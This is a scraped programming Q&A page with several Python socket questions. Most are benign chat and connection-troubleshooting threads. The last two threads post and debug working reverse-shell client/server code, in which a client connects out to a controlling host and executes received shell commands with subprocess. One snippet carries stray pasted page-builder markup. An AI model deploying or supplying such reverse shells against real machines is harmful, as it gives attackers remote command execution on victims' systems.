Restart or cancel input() [Python] - python

I want to restart the input('CLIENT >> ') when the client recieves a message from the server and the same for the server (the server and client being python scripts in this case)
client.py:
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
print('Connecting to ', host, port)
s.connect((host, port))
while True:
msg = input('CLIENT >> ')
s.send(msg.encode())
msg = str(s.recv(1024))
print('SERVER >> ', str(msg))
server.py:
import socket
s = socket.socket()
host = ''
port = 12345
print('Server started!')
print('Waiting for clients...')
s.bind((host, port))
s.listen(5)
c, addr = s.accept()
print('Got connection from', addr)
while True:
recieved = c.recv(1024)
print('\n', addr, ' >> ', str(recieved))
msg = input('SERVER >> ')
c.send(msg.encode())
NOTES:
Using my laptop to run both of these scripts, I don't have an actual server in real life
Python Version: 3.8
OS: Windows 10
Editor: PyCharm Community Edition

I don't understand what restarting input means...
If you mean to show messages while 'writing messages' in the input then consider learning about threads, and spin off a thread to get messages from the server/client and print to the screen.

Related

Python Socket Return Ping Answer to Client

I'm struggling with getting reply back to client when pinging through socket server.
Trying to create something simple, where I can ping servers from client through socket server.
Client checks that socket server is online, socket server in "server" will respond status. Client sends the ping command to socket server, socket server initiate the ping to where ever. Raw printout will be sent to client.
What's the best way to do it?
First time working with sockets.
Server
#!/usr/bin/python3
import socket
import sys
HOST = '127.0.0.1'
PORT = 8085
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')
# Bind socket
try:
s.bind((HOST, PORT))
except socket.error as msg:
print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
print('Socket bind complete')
#Start listening on socket
s.listen(10)
print('Socket now listening')
# Talk with client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print('Connected')
while True:
dataFromClient = conn.recv(1024)
print(dataFromClient.decode('utf-8'))
if not dataFromClient:
print("[Client] Disconnected")
break
conn.sendall(dataFromClient)
s.close()
Client
#!/usr/bin/python3
import socket
import subprocess
import os
SERVER = "127.0.0.1"
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSocket.connect((SERVER,8085))
os.system("clear")
os.system("cls")
while True:
data = input("Input: ")
clientSocket.send(data.encode())
# dataFromServer = clientSocket.recv(1024)
# print(dataFromServer.decode())
if data == "ping":
input1 = str(input("Enter command: "))
with subprocess.Popen(input1,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc:
for line in proc.stdout:
clientSocket.send(line)
print(proc.communicate())
elif data == "help":
print("Command: pingdl,destip=<isp>,repeat=<amount>")
clientSocket.close()

ConnectionRefusedError when trying to host python socket server on raspberry pi

I'm trying to make a basic python networking program. All I'm trying to do is send strings of text back and forth between the server and the client. I'm trying to host the server on my Raspberry Pi, and connect with a client on Windows 10. The program works great locally on my computer, but when I try to connect to my server, it gives me ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it. My server code is as follows:
import socket # Import socket module
import netifaces as ni
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 12345 # Reserve a port for your service.
s.bind((host, port))
#host_ip = ni.ifaddresses('wlan0')[ni.AF_INET][0]['addr']
host_ip = "bruh?"
print("Server started! \nHostname: " + host + " \nIP: " + host_ip + " \nPort: " + str(port))
s.listen() # Now wait for client connection.
while True:
c, addr = s.accept() # Establish connection with client.
print('Got connection from', addr)
output = "Welcome to the server!".encode()
c.send(output)
c.close()
Client code:
import socket
s = socket.socket()
host = 192.168.1.21
port = 12345
s.connect((host, int(port)))
noResponse = False
serverResponse = s.recv(1024).decode()
print(serverResponse)
s.close()
Does anyone know what my problem is? Thanks.
There may be a few reasons you are getting a ConnectionRefusedError, please try the following:
Check that no firewall is blocking your connection.
Double-check the server IP, if it is wrong you may get this error.
Try to use Hercules to check the connection.
Also, I would change the code as follow:
Server:
import socket
HOST = '' # localhost
PORT = # IMPORTANT !! Do not use reserved ports
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind((HOST, PORT))
sock.listen()
conn, addr = sock.accept()
with conn:
print('Connected by', addr)
while True:
data = conn.recv(1024)
if not data:
break
print('Data: ',data)
conn.sendall('RT')
Client:
import socket
HOST = '' # server IP address
PORT = # server port
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((HOST, PORT))
sock.sendall('Hello, I am the Client')
data = sock.recv(1024)
print('Received', data)
By doing this you are using a TCP connection and you can test your code with different TCP server and client emulators.

Python socket issue when connecting to raspberry pi

I am trying to do wireless communications between a PC (windows) and a Raspberry Pi 3 using python's socket module. The server is the PC and the client is the Pi. When I run the code (server first then client) both scripts get stuck after "hey, checking TCP socket".
When I do the reverse (Pi being the server and PC being the client) the code works fine, with data been sent correctly.
Both the PC and Pi are connected to the same network. The IP address of PC is 10.0.0.198 and the Pi is 10.0.0.63.
I think the problem is that the port is not open when I use my PC as a server. How to resolve this?
My client script:
import socket
import sys
def read(port):
s = socket.socket()
host = '10.0.0.198' #(IP address of PC (server))
s.connect((host,port))
try:
msg = s.recv(1024)
s.close()
except socket.error, msg:
sys.stderr.write('error %s'%msg[1])
s.close()
print 'close'
sys.exit(2)
return msg
if __name__ == '__main__':
port = 1025
while True:
print 'hey, checking TCP socket'
data = read(port)
print 'i just read %s' % data
print 'port num is: %d' % port
port = port + 1
My server script:
import socket
import time
def send(data, port):
s = socket.socket()
s.bind(('', port))
s.listen(5)
c, addr = s.accept()
print 'Got connection from',addr
c.send(data)
c.close()
if __name__ == '__main__':
port = 1025
num = 1
while True:
print 'hey, sending data'
words = 'helloWorld'
data = words + str(num)
print 'send data: %s' % data
send(data,port)
port = port + 1
num = num + 1

reverse shell looping

Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.
Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.
#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))
Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()

Python reverse shell server and client

I am following Bucky Robert's (Thenewboston) tutorial on python reverse shell, I have created 2 programs, server.py and client.py, it seems like this:
server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9999
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
client.py:
import os
import socket
import subprocess
s = socket.socket()
host = 'pc_ip'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Now, by the tutorial, I am supposed to run the server file and then the client file locally and a connection will be established between them, however, I can't successfully do this because as I run the server file I get this output:
C:\Users\dodob\AppData\Local\Programs\Python\Python35-32\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/server.py
Binding socket to port: 9999
Connection has been established | IP 127.0.0.1 | Port 2565
Even though I haven't ran the client yet. What can I do to fix that and continue the tutorial?

Categories

Resources